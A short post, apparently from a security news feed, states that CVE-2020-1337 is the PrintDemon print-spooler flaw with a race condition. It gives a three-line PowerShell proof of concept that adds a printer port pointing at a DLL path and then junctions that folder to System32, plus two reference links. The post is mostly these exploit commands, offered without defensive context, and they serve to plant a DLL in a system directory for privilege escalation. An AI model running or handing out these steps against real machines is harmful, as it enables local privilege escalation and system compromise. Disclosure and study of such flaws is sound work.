■■■■■ CVE-2020-1337 is CVE-2020-1048 (aka PrintDemon) with a TOCTOU.
PoC:
mkdir C:\test
Add-PrinterPort -Name c:\test\ualapi.dll
New-Item -Type Junction -Path C:\test -Value C:\Windows\System32
https://voidsec.com/cve-2020-1337-printdemon-is-dead-long-live-printdemon/
https://t.me/cKure/5214